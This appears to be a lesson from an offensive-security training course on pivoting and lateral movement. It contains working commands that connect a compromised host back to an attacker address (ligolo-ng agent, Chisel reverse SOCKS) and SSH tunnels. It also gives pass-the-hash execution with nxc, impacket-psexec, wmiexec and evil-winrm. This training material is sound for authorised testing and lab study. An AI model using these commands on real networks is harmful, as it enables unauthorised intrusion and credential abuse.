Lesson 8 of 10 · 19 min · Advanced

Pivoting, tunnelling and lateral movement

Reaching the rest of the network: SOCKS proxies with ligolo-ng and Chisel, SSH tunnelling, proxychains, port forwarding, and lateral movement with pass-the-hash, WinRM and PsExec-style execution.

In this lesson you will

  • Build SOCKS and port-forward tunnels through a compromised host
  • Route your tools into internal networks with proxychains and ligolo-ng
  • Move laterally with pass-the-hash and remote execution
  • Map and reach segmented networks from a single foothold

One box is rarely the objective. The first host is a doorway into networks you couldn't reach directly: a dual-homed server, a segment behind a firewall, the server VLAN. Pivoting turns a foothold into access to everything it can reach.

The pivot picture

text
  You (10.10.14.5)
      │  only route is the foothold
      ▼
  Foothold (10.10.10.10 | 172.16.5.1) ← dual-homed
      │  internal-only
      ▼
  172.16.5.0/24  (DC, file servers, DBs)

Your attack box can't see 172.16.5.0/24. The foothold can. A tunnel makes the foothold forward your traffic.

Discover what's reachable from the foothold

bash
# On the foothold: what other networks and hosts can it see?
ip a; ip route                       # extra interfaces = extra networks
cat /etc/hosts; arp -a               # known neighbours
for i in $(seq 1 254); do ping -c1 -W1 172.16.5.$i >/dev/null && echo "172.16.5.$i up"; done

ligolo-ng (the modern favourite)

ligolo-ng gives you a clean TUN interface, so your tools reach the internal subnet as if routed, no proxychains needed.

bash
# Attacker: start the proxy, create a tun interface
./proxy -selfcert
# Foothold: run the agent back to you
./agent -connect 10.10.14.5:11601 -ignore-cert
# Attacker (ligolo console): add a route to the internal net via the agent
» session            # select the agent
» ifconfig           # see the foothold's networks
# then on the host: ip route add 172.16.5.0/24 dev ligolo ; » start
nmap 172.16.5.0/24   # now works directly through the pivot

Chisel (SOCKS over HTTP, firewall-friendly)

bash
# Attacker: SOCKS server
./chisel server -p 8080 --reverse
# Foothold: connect back, expose a SOCKS5 proxy on the attacker
./chisel client 10.10.14.5:8080 R:socks
# Attacker: send tools through 127.0.0.1:1080 via proxychains
proxychains nmap -sT -Pn 172.16.5.10

SSH tunnelling (when you have SSH)

bash
# Dynamic SOCKS proxy through an SSH foothold
ssh -D 1080 user@10.10.10.10         # then proxychains
# Local port forward: reach one internal service locally
ssh -L 3389:172.16.5.10:3389 user@10.10.10.10   # RDP to internal via localhost
# Remote forward: push a service back to you
ssh -R 8000:127.0.0.1:80 user@10.10.10.10
# sshuttle: "poor man's VPN" over SSH
sshuttle -r user@10.10.10.10 172.16.5.0/24

proxychains setup

bash
# /etc/proxychains4.conf
#   socks5 127.0.0.1 1080
proxychains4 nxc smb 172.16.5.0/24

⚠️ proxychains only handles TCP; use -sT -Pn with Nmap through it (no SYN/UDP), and expect it to be slow.

Lateral movement with credentials

Once you can reach internal hosts, the creds and hashes you looted move you across them. Pass-the-hash reuses an NTLM hash without the plaintext.

bash
# Spray a dumped local-admin hash across the subnet to find where it works
nxc smb 172.16.5.0/24 -u administrator -H <NTLM_HASH> --local-auth
# Execute where it lands
nxc smb 172.16.5.10 -u administrator -H <NTLM_HASH> --local-auth -x 'whoami'
impacket-psexec -hashes :<NTLM_HASH> administrator@172.16.5.10
# Interactive, quieter than psexec
impacket-wmiexec -hashes :<NTLM_HASH> administrator@172.16.5.10
evil-winrm -i 172.16.5.10 -u administrator -H <NTLM_HASH>
Tool Mechanism Noise
psexec Creates a service Loud (service + named pipe)
smbexec Service, no binary drop Medium
wmiexec WMI, semi-interactive Quieter
atexec Scheduled task Quieter
evil-winrm WinRM (5985/5986) Logged, but normal admin traffic

Shared local admin passwords are the classic lateral-movement enabler: one local admin hash that works on every workstation lets you sweep the fleet. The fix (LAPS) is a key recommendation in your report.

OPSEC while pivoting

  • Every lateral hop creates logs (service creation 7045, logon 4624/4625, named pipes). On a red team, pace yourself and prefer quieter exec methods.
  • Clean up: remove tools and services you created, and record what you placed where.
  • Don't tunnel sensitive client data out; keep the tunnel for access, not exfiltration.

🧪 Lab

  1. Build a two-network lab: attacker ↔ dual-homed foothold ↔ internal-only subnet.
  2. Establish a pivot with ligolo-ng and scan the internal subnet directly through it.
  3. Repeat with Chisel + proxychains and compare.
  4. Set up an SSH dynamic proxy and reach an internal service with ssh -L.
  5. Pass-the-hash across the internal subnet with nxc to find where a local-admin hash is reused.

Checkpoint

  1. Why is the first compromised host usually a doorway rather than the objective?
  2. What advantage does ligolo-ng's TUN interface give over proxychains?
  3. What limitation does proxychains have, and how does it change your Nmap flags?
  4. What is pass-the-hash, and why do shared local-admin passwords make it so powerful?
  5. Which remote-execution methods are quieter, and why does that matter on a red team?